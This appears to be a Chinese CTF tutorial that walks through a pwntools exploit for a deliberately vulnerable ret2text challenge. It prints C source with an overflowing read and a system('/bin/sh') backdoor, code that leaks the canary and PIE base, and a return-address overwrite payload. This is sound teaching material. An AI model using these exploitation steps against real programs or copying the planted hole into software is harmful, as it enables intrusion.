从一道pwn题深入理解exp的编写
字数 1058 2025-08-22 12:22:24
深入理解PWN题EXP编写:从ret2text实例出发
1. 前言
本文通过分析一道开启所有保护机制的ret2text例题,全面讲解漏洞利用方法和EXP编写技巧。对于二进制安全初学者来说,理解如何绕过各种保护机制并编写有效的EXP是一个重要挑战。
2. 例题分析
2.1 程序源码
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
void backdoor() {
puts("this is backdoor.");
system("/bin/sh");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char buf[0x100];
do {
puts("please input:");
read(0, buf, 0x200);
puts(buf);
} while (strcmp(buf, "exit") != 0);
return 0;
}
2.2 漏洞分析
程序存在明显的缓冲区溢出漏洞:
buf大小为0x100字节read函数允许读取0x200字节- 可以覆盖返回地址控制程序流
2.3 保护机制
程序开启了所有保护机制:
- Canary:需要泄露和绕过栈保护
- PIE:需要泄露程序基地址
- 其他保护机制(如NX、ASLR等)
3. EXP编写详解
3.1 基本框架
#!/usr/bin/python3.8
from pwn import *
elf_path = './test'
elf = ELF(elf_path)
context(arch=elf.arch, os=elf.os, log_level="info")
io = process([elf_path])
3.2 泄露程序基地址
# 发送0xf0字节填充缓冲区
io.sendafter(b'please input:\n', b'a' * 0xf0)
io.recvuntil(b'a' * 0xf0)
# 接收6字节地址并补齐为8字节
__libc_csu_init = (u64(io.recv(6).ljust(8, b'\x00')))
elf.address = __libc_csu_init - 0x12c0
log.info('elf base adress: ' + hex(elf.address))
关键点:
- 只接收6字节而非8字节,因为高地址位通常为0
- 通过已知偏移计算基地址(本例中偏移为0x12c0)
3.3 获取backdoor地址
backdoor_address = elf.symbols['backdoor']
log.info('backdoor_address: ' + hex(backdoor_address))
3.4 泄露Canary
方法一:
io.sendafter(b'please input:\n', b'a' * 0x109)
io.recvuntil(b'a' * 0x109)
canary = u64(io.recv(7).ljust(8, b'\x00')) << 8
方法二:
io.sendafter(b'please input:\n', b'a' * 0x108)
io.recvuntil(b'a' * 0x108)
canary = u64(io.recv(8)) - 0x61
关键点:
- Canary以
\x00结尾 - 需要覆盖Canary的
\x00才能完整泄露 - 方法一通过左移8位恢复Canary
- 方法二通过减去最后一个字节的值恢复Canary
3.5 构造Payload
payload = b'exit'.ljust(0x108, b'\x00') + p64(canary) + b'0' * 8 + p64(backdoor_address + 5)
io.sendafter(b'please input:\n', payload)
io.interactive()
关键点:
- 发送"exit"终止循环
- 填充缓冲区到Canary位置(0x108字节)
- 覆盖Canary为泄露的值
- 覆盖RBP(8字节任意值)
- 覆盖返回地址为backdoor地址+5
为什么backdoor_address+5:
- 64位Ubuntu 18+系统调用system函数需要栈16字节对齐
movaps指令要求内存地址必须是16的倍数- 跳过
push rbp指令(5字节)使栈对齐
4. 调试技巧
4.1 GDB附加调试
gdb.attach(io, 'b *$rebase(0x1281)\n c')
pause()
关键点:
$rebase在PIE开启时非常有用- 可以设置断点并继续执行
4.2 常用调试命令
vmmap:查看内存映射canary:查看Canary值cyclic:生成模式字符串定位溢出点
5. 环境配置
5.1 修改动态链接库
patchelf --set-interpreter new_ld_address file_path
patchelf --replace-needed old_libc.so.6 new_libc.so.6 file_path
6. 总结
- Canary绕过:通过溢出泄露Canary并在溢出时正确覆盖
- PIE绕过:泄露已知函数地址计算基地址
- 栈对齐:注意system函数调用时的栈对齐要求
- 调试技巧:熟练掌握GDB和插件使用
- 细节把控:EXP编写时每个字节都至关重要
通过这道例题,我们学习了如何绕过现代保护机制,并掌握了编写有效EXP的关键技术。在实际漏洞利用中,需要根据具体情况调整策略,但基本原理是相通的。